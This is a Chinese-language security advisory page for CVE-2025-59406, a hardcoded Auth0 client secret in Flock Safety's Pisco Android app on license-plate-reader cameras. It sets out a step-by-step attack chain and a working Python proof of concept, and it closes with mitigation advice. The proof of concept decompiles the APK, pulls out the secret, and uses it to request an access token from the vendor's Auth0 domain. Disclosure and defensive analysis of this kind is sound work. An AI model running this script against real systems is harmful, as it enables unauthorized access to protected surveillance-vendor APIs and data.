IPBUF安全漏洞报告
English
CVE-2025-59406 CVSS 6.2 中危

CVE-2025-59406 Flock Safety Pisco Android应用Auth0密钥明文泄露

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59406
漏洞类型
敏感信息泄露/硬编码凭证
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flock Safety Pisco (com.flocksafety.android.pisco) Android应用

相关标签

硬编码凭证敏感信息泄露Auth0OAuthAndroidFlock Safety车牌识别LPR中危漏洞客户端密钥泄露

漏洞概述

CVE-2025-59406是Flock Safety公司Pisco Android应用程序中存在的一个中危级别敏感信息泄露漏洞。该漏洞影响版本为6.21.11的com.flocksafety.android.pisco应用程序,该应用被安装于Flock Safety的Falcon和Sparrow车牌识别摄像头(LPR)以及Bravo Edge AI计算设备上。漏洞的根本原因在于应用程序代码库中以明文形式硬编码了Auth0 OAuth客户端密钥(client secret)。由于Android应用程序的APK文件可以被轻易地反编译或检查,攻击者无需任何特殊权限即可提取该OAuth密钥。这一密钥本应严格保密,绝不应直接嵌入到客户端软件中。该漏洞的CVSS 3.1评分为6.2分,攻击向量为本地(AV:L),无需认证(PR:N)和用户交互(UI:N),机密性影响为高(C:H),完整性和可用性影响均为无。攻击者获取该Auth0客户端密钥后,可利用其进行未授权的身份验证操作,访问受保护资源,可能导致用户数据泄露或服务被滥用。

技术细节

该漏洞的技术原理是Android客户端应用中的硬编码凭证泄露问题。Auth0是一个广泛使用的身份验证和授权平台,其OAuth 2.0客户端密钥(client secret)是用于在身份验证流程中验证客户端身份的关键凭证。在正常的OAuth 2.0架构中,client secret应当仅存储在安全的服务器端,永远不应出现在客户端代码或应用程序包中。然而,Flock Safety Pisco应用的6.21.11版本将Auth0 client secret直接硬编码在应用程序代码库中。攻击者可以通过以下方式利用此漏洞:1)下载目标设备的APK文件或从应用商店获取APK;2)使用常见的Android反编译工具(如jadx、apktool、dex2jar等)对APK进行反编译;3)在反编译后的源代码或资源文件中搜索Auth0相关的配置信息;4)提取明文的client secret。获取密钥后,攻击者可以使用该凭证冒充合法客户端向Auth0认证服务器发起请求,可能获得对受保护API的未授权访问权限,或者利用该密钥进行进一步的身份验证绕过攻击。整个利用过程无需任何特殊权限或用户交互。

攻击链分析

STEP 1
步骤1:获取目标APK
攻击者从Google Play商店、第三方应用市场或直接从目标Android设备(Falcon/Sparrow LPR或Bravo Edge AI设备)上提取Flock Safety Pisco应用的APK文件(版本6.21.11)。
STEP 2
步骤2:反编译APK
使用jadx、apktool、dex2jar等常见Android反编译工具对APK进行反编译,获取应用的源代码、资源文件和配置文件。
STEP 3
步骤3:搜索Auth0配置
在反编译后的代码中搜索Auth0相关的配置信息,包括client_id、client_secret、domain等关键参数。
STEP 4
步骤4:提取明文密钥
从代码或配置文件中直接读取硬编码的Auth0 client secret,无需任何特殊权限或绕过任何安全机制。
STEP 5
步骤5:利用凭证进行未授权访问
使用提取的client_id和client_secret向Auth0认证服务器发起OAuth请求,获取访问令牌,进而访问受保护的API资源或执行未授权操作。
STEP 6
步骤6:进一步攻击
利用获取的访问权限,可能导致用户数据泄露、服务滥用或进一步的系统入侵。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59406 PoC - Extract Auth0 Client Secret from Flock Safety Pisco APK # This PoC demonstrates how to extract the hardcoded Auth0 client secret import subprocess import re import os def extract_auth0_secret(apk_path): """ Extract Auth0 client secret from Flock Safety Pisco Android APK """ # Step 1: Decompile APK using jadx or apktool output_dir = "decompiled_pisco" # Using jadx for decompilation cmd = f"jadx -d {output_dir} {apk_path}" subprocess.run(cmd, shell=True) # Step 2: Search for Auth0 configuration patterns in decompiled source auth0_patterns = [ r'client_secret["\s:=]+["\']([A-Za-z0-9_-]+)["\']', r'AUTH0_CLIENT_SECRET["\s:=]+["\']([A-Za-z0-9_-]+)["\']', r'com\.auth0\.client\.secret["\s:=]+["\']([A-Za-z0-9_-]+)["\']', r'"client_secret"\s*:\s*"([A-Za-z0-9_-]+)"', ] secrets_found = [] # Step 3: Walk through decompiled files and search for secrets for root, dirs, files in os.walk(output_dir): for file in files: if file.endswith(('.java', '.kt', '.json', '.xml', '.properties')): filepath = os.path.join(root, file) with open(filepath, 'r', errors='ignore') as f: content = f.read() for pattern in auth0_patterns: matches = re.findall(pattern, content) for match in matches: secrets_found.append({ 'file': filepath, 'secret': match }) return secrets_found def exploit_auth0_secret(client_id, client_secret, domain): """ Use extracted credentials to perform unauthorized Auth0 operations """ import requests # Attempt to obtain access token using stolen client credentials token_url = f"https://{domain}/oauth/token" payload = { 'grant_type': 'client_credentials', 'client_id': client_id, 'client_secret': client_secret, 'audience': f'https://{domain}/api/v2/' } response = requests.post(token_url, json=payload) if response.status_code == 200: token = response.json().get('access_token') print(f"[+] Successfully obtained access token: {token[:20]}...") return token else: print(f"[-] Failed to obtain token: {response.text}") return None # Usage if __name__ == "__main__": apk_path = "com.flocksafety.android.pisco_6.21.11.apk" secrets = extract_auth0_secret(apk_path) for secret_info in secrets: print(f"[!] Found Auth0 secret in {secret_info['file']}") print(f" Secret: {secret_info['secret']}") # Example: Use the extracted secret # token = exploit_auth0_secret(client_id, client_secret, 'flocksafety.auth0.com')

影响范围

com.flocksafety.android.pisco 6.21.11

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)立即在Auth0管理控制台中轮换已泄露的客户端密钥,使当前泄露的密钥失效;2)在Auth0端为该应用配置严格的访问控制策略,包括IP白名单、请求频率限制等;3)监控Auth0日志,检测是否有使用泄露凭证的异常认证请求;4)考虑在Bravo Edge AI计算设备和LPR摄像头层面实施网络隔离,限制不必要的外部网络访问;5)对相关设备进行安全审计,检查是否存在其他安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表